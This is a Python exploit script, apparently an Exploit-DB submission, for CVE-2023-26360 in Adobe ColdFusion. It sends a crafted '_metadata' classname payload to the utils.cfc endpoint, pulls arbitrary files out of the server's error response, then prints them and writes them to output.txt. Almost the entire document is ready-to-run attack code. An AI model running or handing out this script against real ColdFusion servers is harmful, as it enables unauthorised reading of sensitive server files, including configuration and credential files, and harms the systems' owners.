# Exploit Title: File Read Arbitrary Exploit for CVE-2023-26360 # Google Dork: [not] # Date: [12/28/2023] # Exploit Author: [Youssef Muhammad] # Vendor Homepage: [ https://helpx.adobe.com/coldfusion/kb/coldfusion-downloads.html] # Software Link: [ https://drive.google.com/drive/folders/17ryBnFhswxiE1sHrNByxMVPKfUnwqmp0] # Version: [Adobe ColdFusion versions 2018,15 (and earlier) and 2021,5 and earlier] # Tested on: [Windows, Linux] # CVE : [CVE-2023-26360] import sys import requests import json BANNER = """ ██████ ██ ██ ███████ ██████ ██████ ██████ ██████ ██████ ██████ ██████ ██████ ██████ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ █████ █████ █████ ██ ██ ██ █████ █████ █████ █████ ███████ █████ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██████ ████ ███████ ███████ ██████ ███████ ██████ ███████ ██████ ██████ ██████ ██████ """ RED_COLOR = "\033[91m" GREEN_COLOR = "\032[42m" RESET_COLOR = "\033[0m" def print_banner(): print(RED_COLOR + BANNER + " Developed by SecureLayer7" + RESET_COLOR) return 0 def run_exploit(host, target_file, endpoint="/CFIDE/wizards/common/utils.cfc", proxy_url=None): if not endpoint.endswith('.cfc'): endpoint += '.cfc' if target_file.endswith('.cfc'): raise ValueError('The TARGET_FILE must not point to a .cfc') targeted_file = f"a/{target_file}" json_variables = json.dumps({"_metadata": {"classname": targeted_file}, "_variables": []}) vars_get = {'method': 'test', '_cfclient': 'true'} uri = f'{host}{endpoint}' response = requests.post(uri, params=vars_get, data={'_variables': json_variables}, proxies={'http': proxy_url, 'https': proxy_url} if proxy_url else None) file_data = None splatter = '<!-- " ---></TD></TD></TD></TH></TH></TH>' if response.status_code in [404, 500] and splatter in response.text: file_data = response.text.split(splatter, 1)[0] if file_data is None: raise ValueError('Failed to read the file. Ensure the CFC_ENDPOINT, CFC_METHOD, and CFC_METHOD_PARAMETERS are set correctly, and that the endpoint is accessible.') print(file_data) # Save the output to a file output_file_name = 'output.txt' with open(output_file_name, 'w') as output_file: output_file.write(file_data) print(f"The output saved to {output_file_name}") if __name__ == "__main__": if not 3 <= len(sys.argv) <= 5: print("Usage: python3 script.py <host> <target_file> [endpoint] [proxy_url]") sys.exit(1) print_banner() host = sys.argv[1] target_file = sys.argv[2] endpoint = sys.argv[3] if len(sys.argv) > 3 else "/CFIDE/wizards/common/utils.cfc" proxy_url = sys.argv[4] if len(sys.argv) > 4 else None try: run_exploit(host, target_file, endpoint, proxy_url) except Exception as e: print(f"Error: {e}")